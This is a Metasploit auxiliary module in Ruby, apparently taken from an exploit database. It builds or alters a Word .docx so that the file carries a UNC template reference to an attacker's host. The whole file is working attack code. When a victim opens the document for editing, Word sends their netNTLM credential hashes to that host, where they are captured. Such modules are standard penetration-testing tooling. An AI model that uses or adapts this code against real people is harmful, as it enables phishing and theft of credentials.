## https://sploitus.com/exploit?id=PACKETSTORM:180588
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
# for extracting files
require 'zip'
#
# Project
#
# for creating files
require 'rex/zip'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Word UNC Path Injector',
'Description' => %q{
This module modifies a .docx file that will, upon opening, submit stored
netNTLM credentials to a remote host. It can also create an empty docx file. If
emailed the receiver needs to put the document in editing mode before the remote
server will be contacted. Preview and read-only mode do not work. Verified to work
with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the
auxiliary/server/capture/smb module can be used.
},
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
],
'Author' =>
[
'SphaZ <cyberphaz[at]gmail.com>'
]
))
register_options(
[
OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']),
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']),
OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']),
OptString.new('DOCAUTHOR',[false,'Document author for empty document.']),
])
end
# here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def make_new_file
metadata_file_data = ""
metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
# where to find the skeleton files required for creating an empty document
data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")
zip_data = {}
# add skeleton files
vprint_status("Adding skeleton files from #{data_dir}")
Dir["#{data_dir}/**/**"].each do |file|
if not File.directory?(file)
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
end
end
# add on-the-fly created documents
vprint_status("Adding injected files")
zip_data["docProps/core.xml"] = metadata_file_data
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
# add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
# and lets create the file
zip_docx(zip_data)
end
# here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulate_file
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
if not File.stat(datastore['SOURCE']).readable?
print_error("Not enough rights to read the file. Aborting.")
return nil
end
# lets extract our docx and store it in memory
zip_data = unzip_docx
# file to check for reference file we need
file_content = zip_data["word/settings.xml"]
if file_content.nil?
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
return nil
end
# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
# lets zip the end result
zip_docx(zip_data)
else
# now insert the reference to the file that will enable our malicious entry
insert_one = file_content.index("<w:defaultTabStop")
if insert_one.nil?
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
if not insert_two.nil?
vprint_status("HypenationZone found, we use this for insertion.")
file_content.insert(insert_two, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
file_content.insert(insert_one, ref )
end
if insert_one.nil? && insert_two.nil?
print_error("Cannot find insert point for reference into settings.xml")
return nil
end
# update the files that contain the injection and reference
zip_data["word/settings.xml"] = file_content
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
# lets zip the file
zip_docx(zip_data)
end
return 0
end
# making the actual docx from the hash
def zip_docx(zip_data)
docx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
docx.add_file(k,v)
end
file_create(docx.pack)
end
# unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzip_docx
# Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
# we read it all into memory
zip_data = Hash.new
begin
Zip::File.open(datastore['SOURCE']) do |filezip|
filezip.each do |entry|
zip_data[entry.name] = filezip.read(entry)
end
end
rescue Zip::Error => e
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
return nil
end
return zip_data
end
def run
# we need this in make_new_file and manipulate_file
@rels_file_data = ""
@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
if "#{datastore['SOURCE']}" == ""
# make an empty file
print_status("Creating empty document that points to #{datastore['LHOST']}.")
make_new_file
else
# extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.")
if manipulate_file.nil?
print_error("Failed to create a document from #{datastore['SOURCE']}.")
else
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
end
end
end
end